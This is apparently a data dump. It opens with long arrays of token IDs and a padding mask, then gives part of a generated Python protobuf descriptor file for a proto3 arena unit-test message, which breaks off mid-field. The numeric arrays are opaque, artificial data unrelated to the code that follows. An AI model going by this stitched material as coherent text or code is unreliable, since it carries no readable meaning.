275, 333, 14, 923, 8, 17, 9, 267, 1343, 275, 1846, 8, 77, 14, 923, 8, 18, 395, 3193, 9, 267, 1284, 257, 275, 1846, 8, 77, 14, 923, 8, 19, 395, 3193, 9, 267, 14319, 275, 650, 627, 334, 500, 446, 1343, 9, 1182, 3193, 267, 24746, 63, 1838, 275, 378, 44, 267, 1967, 63, 9204, 847, 413, 272, 587, 26, 267, 333, 275, 24746, 63, 3401, 14, 1431, 8, 604, 9, 267, 340, 333, 26, 288, 24746, 63, 1838, 847, 1846, 8, 77, 14, 923, 8, 17, 430, 199, 1074, 63, 1532, 8, 1532, 12, 14319, 12, 24746, 63, 1838, 9, 199, 199, 692, 1967, 63, 2550, 508, 378, 26, 272, 870, 298, 1944, 2552, 10501, 315, 450, 85, 3423, 2122, 450, 1967, 63, 9204, 199, 2836, 26, 272, 340, 1967, 63, 2550, 690, 413, 26, 267, 2329, 628, 2550, 2, 272, 587, 26, 267, 2329, 628, 705, 2, 272, 870, 2071, 85, 450, 83, 10501, 315, 450, 85, 3423, 2122, 450, 334, 1507, 63, 2550, 12, 2329, 12, 1967, 63, 9204, 9, 272, 984, 14, 2224, 8, 17, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 11028, 26, 625, 87, 1074, 14, 647, 13024, 199, 3, 199, 3, 961, 2884, 5920, 314, 625, 11530, 2256, 402, 1924, 805, 315, 570, 13024, 199, 3, 436, 22694, 626, 314, 3089, 402, 314, 4897, 13, 14563, 4450, 314, 3141, 199, 3, 2582, 402, 314, 805, 14, 199, 3, 199, 3, 21311, 641, 282, 5218, 15, 10084, 75, 2884, 20657, 5313, 701, 25378, 2453, 510, 2159, 76, 12, 199, 3, 1314, 1990, 6702, 370, 3492, 76, 701, 18619, 29640, 2799, 439, 1237, 12, 1314, 1990, 6702, 199, 3, 370, 2018, 701, 20232, 603, 736, 605, 836, 14, 199, 3, 199, 646, 747, 199, 646, 295, 199, 646, 984, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 1137, 499, 26, 272, 870, 298, 7692, 26, 450, 83, 13024, 2, 450, 984, 14, 3020, 59, 16, 61, 272, 984, 14, 2224, 8, 18, 9, 199, 199, 8273, 271, 276, 275, 747, 14, 12959, 480, 24345, 4424, 38, 401, 298, 8273, 271, 276, 531, 199, 199, 928, 63, 3401, 275, 295, 14, 2014, 6757, 7059, 30, 3672, 13032, 26, 30257, 16, 88, 779, 16, 13, 25, 65, 13, 70, 2807, 7216, 16, 88, 779, 16, 13, 25, 65, 13, 70, 18096, 12523, 199, 82, 552, 63, 3401, 221, 275, 295, 14, 2014, 480, 2795, 82, 552, 30982, 16, 13, 25, 2807, 6320, 199, 199, 318, 1104, 63, 1532, 334, 1532, 12, 14319, 12, 24746, 63, 1838, 304, 272, 340, 14319, 1137, 24746, 63, 1838, 26, 267, 2288, 1967, 63, 2550, 267, 1967, 63, 2550, 847, 413, 267, 340, 440, 2562, 26, 2562, 275, 26503, 3, 88, 3295, 3, 88, 8480, 450, 334, 928, 12, 1284, 9, 267, 870, 298, 3170, 26, 450, 83, 26, 450, 10836, 14319, 12, 3141, 4897, 2582, 275, 450, 10836, 2, 450, 334, 1532, 12, 14319, 12, 24746, 63, 1838, 9, 272, 372, 199, 199, 1507, 63, 9204, 275, 378, 199, 1507, 63, 2550, 275, 378, 199, 1532, 275, 756, 199, 7257, 275, 378, 199, 82, 552, 63, 1838, 275, 378, 199, 509, 1004, 315, 747, 14, 12207, 3647, 83, 446, 85, 450, 83, 2, 450, 334, 8273, 271, 276, 12, 984, 14, 3020, 59, 17, 18710, 272, 333, 275, 1343, 63, 3401, 14, 1431, 8, 604, 9, 272, 340, 333, 26, 267, 1104, 63, 1532, 8, 1532, 12, 14319, 12, 24746, 63, 1838, 9, 398, 2562, 221, 275, 333, 14, 923, 8, 17, 9, 267, 1343, 275, 1846, 8, 77, 14, 923, 8, 18, 395, 3193, 9, 267, 1284, 257, 275, 1846, 8, 77, 14, 923, 8, 19, 395, 3193, 9, 267, 14319, 275, 650, 627, 334, 500, 446, 1343, 9, 1182, 3193, 267, 24746, 63, 1838, 275, 378, 44, 267, 1967, 63, 9204, 847, 413, 272, 587, 26, 267, 333, 275, 24746, 63, 3401, 14, 1431, 8, 604, 9, 267, 340, 333, 26, 288, 24746, 63, 1838, 847, 1846, 8, 77, 14, 923, 8, 17, 430, 199, 1074, 63, 1532, 8, 1532, 12, 14319, 12, 24746, 63, 1838, 9, 199, 199, 692, 1967, 63, 2550, 508, 378, 26, 272, 870, 298, 1944, 2552, 10501, 315, 450, 85, 3423, 2122, 450, 1967, 63, 9204, 199, 2836, 26, 272, 340, 1967, 63, 2550, 690, 413, 26, 267, 2329, 628, 2550, 2, 272, 587, 26, 267, 2329, 628, 705, 2, 272, 870, 2071, 85, 450, 83, 10501, 315, 450, 85, 3423, 2122, 450, 334, 1507, 63, 2550, 12, 2329, 12, 1967, 63, 9204, 9, 272, 984, 14, 2224, 8, 17, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
compneuronmbu/NESTConnectionApp
nett_modules/python_modules/protobuf/google/protobuf/unittest_proto3_arena_pb2.py
30
57479
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/protobuf/unittest_proto3_arena.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf.internal import enum_type_wrapper from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database from google.protobuf import descriptor_pb2 # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.protobuf import unittest_import_pb2 as google_dot_protobuf_dot_unittest__import__pb2 google_dot_protobuf_dot_unittest__import__public__pb2 = google_dot_protobuf_dot_unittest__import__pb2.google_dot_protobuf_dot_unittest__import__public__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='google/protobuf/unittest_proto3_arena.proto', package='proto3_arena_unittest', syntax='proto3', serialized_pb=_b('\n+google/protobuf/unittest_proto3_arena.proto\x12\x15proto3_arena_unittest\x1a%google/protobuf/unittest_import.proto\"\xf6\x10\n\x0cTestAllTypes\x12\x16\n\x0eoptional_int32\x18\x01 \x01(\x05\x12\x16\n\x0eoptional_int64\x18\x02 \x01(\x03\x12\x17\n\x0foptional_uint32\x18\x03 \x01(\r\x12\x17\n\x0foptional_uint64\x18\x04 \x01(\x04\x12\x17\n\x0foptional_sint32\x18\x05 \x01(\x11\x12\x17\n\x0foptional_sint64\x18\x06 \x01(\x12\x12\x18\n\x10optional_fixed32\x18\x07 \x01(\x07\x12\x18\n\x10optional_fixed64\x18\x08 \x01(\x06\x12\x19\n\x11optional_sfixed32\x18\t \x01(\x0f\x12\x19\n\x11optional_sfixed64\x18\n \x01(\x10\x12\x16\n\x0eoptional_float\x18\x0b \x01(\x02\x12\x17\n\x0foptional_double\x18\x0c \x01(\x01\x12\x15\n\roptional_bool\x18\r \x01(\x08\x12\x17\n\x0foptional_string\x18\x0e \x01(\t\x12\x16\n\x0eoptional_bytes\x18\x0f \x01(\x0c\x12R\n\x17optional_nested_message\x18\x12 \x01(\x0b\x32\x31.proto3_arena_unittest.TestAllTypes.NestedMessage\x12G\n\x18optional_foreign_message\x18\x13 \x01(\x0b\x32%.proto3_arena_unittest.ForeignMessage\x12H\n\x17optional_import_message\x18\x14 \x01(\x0b\x32\'.protobuf_unittest_import.ImportMessage\x12L\n\x14optional_nested_enum\x18\x15 \x01(\x0e\x32..proto3_arena_unittest.TestAllTypes.NestedEnum\x12\x41\n\x15optional_foreign_enum\x18\x16 \x01(\x0e\x32\".proto3_arena_unittest.ForeignEnum\x12!\n\x15optional_string_piece\x18\x18 \x01(\tB\x02\x08\x02\x12\x19\n\roptional_cord\x18\x19 \x01(\tB\x02\x08\x01\x12U\n\x1eoptional_public_import_message\x18\x1a \x01(\x0b\x32-.protobuf_unittest_import.PublicImportMessage\x12T\n\x15optional_lazy_message\x18\x1b \x01(\x0b\x32\x31.proto3_arena_unittest.TestAllTypes.NestedMessageB\x02(\x01\x12\x16\n\x0erepeated_int32\x18\x1f \x03(\x05\x12\x16\n\x0erepeated_int64\x18 \x03(\x03\x12\x17\n\x0frepeated_uint32\x18! \x03(\r\x12\x17\n\x0frepeated_uint64\x18\" \x03(\x04\x12\x17\n\x0frepeated_sint32\x18# \x03(\x11\x12\x17\n\x0frepeated_sint64\x18$ \x03(\x12\x12\x18\n\x10repeated_fixed32\x18% \x03(\x07\x12\x18\n\x10repeated_fixed64\x18& \x03(\x06\x12\x19\n\x11repeated_sfixed32\x18\' \x03(\x0f\x12\x19\n\x11repeated_sfixed64\x18( \x03(\x10\x12\x16\n\x0erepeated_float\x18) \x03(\x02\x12\x17\n\x0frepeated_double\x18* \x03(\x01\x12\x15\n\rrepeated_bool\x18+ \x03(\x08\x12\x17\n\x0frepeated_string\x18, \x03(\t\x12\x16\n\x0erepeated_bytes\x18- \x03(\x0c\x12R\n\x17repeated_nested_message\x18\x30 \x03(\x0b\x32\x31.proto3_arena_unittest.TestAllTypes.NestedMessage\x12G\n\x18repeated_foreign_message\x18\x31 \x03(\x0b\x32%.proto3_arena_unittest.ForeignMessage\x12H\n\x17repeated_import_message\x18\x32 \x03(\x0b\x32\'.protobuf_unittest_import.ImportMessage\x12L\n\x14repeated_nested_enum\x18\x33 \x03(\x0e\x32..proto3_arena_unittest.TestAllTypes.NestedEnum\x12\x41\n\x15repeated_foreign_enum\x18\x34 \x03(\x0e\x32\".proto3_arena_unittest.ForeignEnum\x12!\n\x15repeated_string_piece\x18\x36 \x03(\tB\x02\x08\x02\x12\x19\n\rrepeated_cord\x18\x37 \x03(\tB\x02\x08\x01\x12T\n\x15repeated_lazy_message\x18\x39 \x03(\x0b\x32\x31.proto3_arena_unittest.TestAllTypes.NestedMessageB\x02(\x01\x12\x16\n\x0coneof_uint32\x18o \x01(\rH\x00\x12Q\n\x14oneof_nested_message\x18p \x01(\x0b\x32\x31.proto3_arena_unittest.TestAllTypes.NestedMessageH\x00\x12\x16\n\x0coneof_string\x18q \x01(\tH\x00\x12\x15\n\x0boneof_bytes\x18r \x01(\x0cH\x00\x1a\x1b\n\rNestedMessage\x12\n\n\x02\x62\x62\x18\x01 \x01(\x05\"C\n\nNestedEnum\x12\x08\n\x04ZERO\x10\x00\x12\x07\n\x03\x46OO\x10\x01\x12\x07\n\x03\x42\x41R\x10\x02\x12\x07\n\x03\x42\x41Z\x10\x03\x12\x10\n\x03NEG\x10\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x42\r\n\x0boneof_field\"\xae\x03\n\x0fTestPackedTypes\x12\x18\n\x0cpacked_int32\x18Z \x03(\x05\x42\x02\x10\x01\x12\x18\n\x0cpacked_int64\x18[ \x03(\x03\x42\x02\x10\x01\x12\x19\n\rpacked_uint32\x18\\ \x03(\rB\x02\x10\x01\x12\x19\n\rpacked_uint64\x18] \x03(\x04\x42\x02\x10\x01\x12\x19\n\rpacked_sint32\x18^ \x03(\x11\x42\x02\x10\x01\x12\x19\n\rpacked_sint64\x18_ \x03(\x12\x42\x02\x10\x01\x12\x1a\n\x0epacked_fixed32\x18` \x03(\x07\x42\x02\x10\x01\x12\x1a\n\x0epacked_fixed64\x18\x61 \x03(\x06\x42\x02\x10\x01\x12\x1b\n\x0fpacked_sfixed32\x18\x62 \x03(\x0f\x42\x02\x10\x01\x12\x1b\n\x0fpacked_sfixed64\x18\x63 \x03(\x10\x42\x02\x10\x01\x12\x18\n\x0cpacked_float\x18\x64 \x03(\x02\x42\x02\x10\x01\x12\x19\n\rpacked_double\x18\x65 \x03(\x01\x42\x02\x10\x01\x12\x17\n\x0bpacked_bool\x18\x66 \x03(\x08\x42\x02\x10\x01\x12;\n\x0bpacked_enum\x18g \x03(\x0e\x32\".proto3_arena_unittest.ForeignEnumB\x02\x10\x01\"\xdf\x03\n\x11TestUnpackedTypes\x12\x1a\n\x0erepeated_int32\x18\x01 \x03(\x05\x42\x02\x10\x00\x12\x1a\n\x0erepeated_int64\x18\x02 \x03(\x03\x42\x02\x10\x00\x12\x1b\n\x0frepeated_uint32\x18\x03 \x03(\rB\x02\x10\x00\x12\x1b\n\x0frepeated_uint64\x18\x04 \x03(\x04\x42\x02\x10\x00\x12\x1b\n\x0frepeated_sint32\x18\x05 \x03(\x11\x42\x02\x10\x00\x12\x1b\n\x0frepeated_sint64\x18\x06 \x03(\x12\x42\x02\x10\x00\x12\x1c\n\x10repeated_fixed32\x18\x07 \x03(\x07\x42\x02\x10\x00\x12\x1c\n\x10repeated_fixed64\x18\x08 \x03(\x06\x42\x02\x10\x00\x12\x1d\n\x11repeated_sfixed32\x18\t \x03(\x0f\x42\x02\x10\x00\x12\x1d\n\x11repeated_sfixed64\x18\n \x03(\x10\x42\x02\x10\x00\x12\x1a\n\x0erepeated_float\x18\x0b \x03(\x02\x42\x02\x10\x00\x12\x1b\n\x0frepeated_double\x18\x0c \x03(\x01\x42\x02\x10\x00\x12\x19\n\rrepeated_bool\x18\r \x03(\x08\x42\x02\x10\x00\x12P\n\x14repeated_nested_enum\x18\x0e \x03(\x0e\x32..proto3_arena_unittest.TestAllTypes.NestedEnumB\x02\x10\x00\"\x84\x01\n\x12NestedTestAllTypes\x12\x38\n\x05\x63hild\x18\x01 \x01(\x0b\x32).proto3_arena_unittest.NestedTestAllTypes\x12\x34\n\x07payload\x18\x02 \x01(\x0b\x32#.proto3_arena_unittest.TestAllTypes\"\x1b\n\x0e\x46oreignMessage\x12\t\n\x01\x63\x18\x01 \x01(\x05\"\x12\n\x10TestEmptyMessage*R\n\x0b\x46oreignEnum\x12\x10\n\x0c\x46OREIGN_ZERO\x10\x00\x12\x0f\n\x0b\x46OREIGN_FOO\x10\x04\x12\x0f\n\x0b\x46OREIGN_BAR\x10\x05\x12\x0f\n\x0b\x46OREIGN_BAZ\x10\x06\x42\x03\xf8\x01\x01\x62\x06proto3') , dependencies=[google_dot_protobuf_dot_unittest__import__pb2.DESCRIPTOR,]) _sym_db.RegisterFileDescriptor(DESCRIPTOR) _FOREIGNENUM = _descriptor.EnumDescriptor( name='ForeignEnum', full_name='proto3_arena_unittest.ForeignEnum', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='FOREIGN_ZERO', index=0, number=0, options=None, type=None), _descriptor.EnumValueDescriptor( name='FOREIGN_FOO', index=1, number=4, options=None, type=None), _descriptor.EnumValueDescriptor( name='FOREIGN_BAR', index=2, number=5, options=None, type=None), _descriptor.EnumValueDescriptor( name='FOREIGN_BAZ', index=3, number=6, options=None, type=None), ], containing_type=None, options=None, serialized_start=3377, serialized_end=3459, ) _sym_db.RegisterEnumDescriptor(_FOREIGNENUM) ForeignEnum = enum_type_wrapper.EnumTypeWrapper(_FOREIGNENUM) FOREIGN_ZERO = 0 FOREIGN_FOO = 4 FOREIGN_BAR = 5 FOREIGN_BAZ = 6 _TESTALLTYPES_NESTEDENUM = _descriptor.EnumDescriptor( name='NestedEnum', full_name='proto3_arena_unittest.TestAllTypes.NestedEnum', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='ZERO', index=0, number=0, options=None, type=None), _descriptor.EnumValueDescriptor( name='FOO', index=1, number=1, options=None, type=None), _descriptor.EnumValueDescriptor( name='BAR', index=2, number=2, options=None, type=None), _descriptor.EnumValueDescriptor( name='BAZ', index=3, number=3, options=None, type=None), _descriptor.EnumValueDescriptor( name='NEG', index=4, number=-1, options=None, type=None), ], containing_type=None, options=None, serialized_start=2194, serialized_end=2261, ) _sym_db.RegisterEnumDescriptor(_TESTALLTYPES_NESTEDENUM) _TESTALLTYPES_NESTEDMESSAGE = _descriptor.Descriptor( name='NestedMessage', full_name='proto3_arena_unittest.TestAllTypes.NestedMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='bb', full_name='proto3_arena_unittest.TestAllTypes.NestedMessage.bb', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=2165, serialized_end=2192, ) _TESTALLTYPES = _descriptor.Descriptor( name='TestAllTypes', full_name='proto3_arena_unittest.TestAllTypes', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='optional_int32', full_name='proto3_arena_unittest.TestAllTypes.optional_int32', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_int64', full_name='proto3_arena_unittest.TestAllTypes.optional_int64', index=1, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_uint32', full_name='proto3_arena_unittest.TestAllTypes.optional_uint32', index=2, number=3, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_uint64', full_name='proto3_arena_unittest.TestAllTypes.optional_uint64', index=3, number=4, type=4, cpp_type=4, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_sint32', full_name='proto3_arena_unittest.TestAllTypes.optional_sint32', index=4, number=5, type=17, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_sint64', full_name='proto3_arena_unittest.TestAllTypes.optional_sint64', index=5, number=6, type=18, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_fixed32', full_name='proto3_arena_unittest.TestAllTypes.optional_fixed32', index=6, number=7, type=7, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_fixed64', full_name='proto3_arena_unittest.TestAllTypes.optional_fixed64', index=7, number=8, type=6, cpp_type=4, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_sfixed32', full_name='proto3_arena_unittest.TestAllTypes.optional_sfixed32', index=8, number=9, type=15, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_sfixed64', full_name='proto3_arena_unittest.TestAllTypes.optional_sfixed64', index=9, number=10, type=16, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_float', full_name='proto3_arena_unittest.TestAllTypes.optional_float', index=10, number=11, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_double', full_name='proto3_arena_unittest.TestAllTypes.optional_double', index=11, number=12, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_bool', full_name='proto3_arena_unittest.TestAllTypes.optional_bool', index=12, number=13, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_string', full_name='proto3_arena_unittest.TestAllTypes.optional_string', index=13, number=14, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_bytes', full_name='proto3_arena_unittest.TestAllTypes.optional_bytes', index=14, number=15, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_nested_message', full_name='proto3_arena_unittest.TestAllTypes.optional_nested_message', index=15, number=18, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_foreign_message', 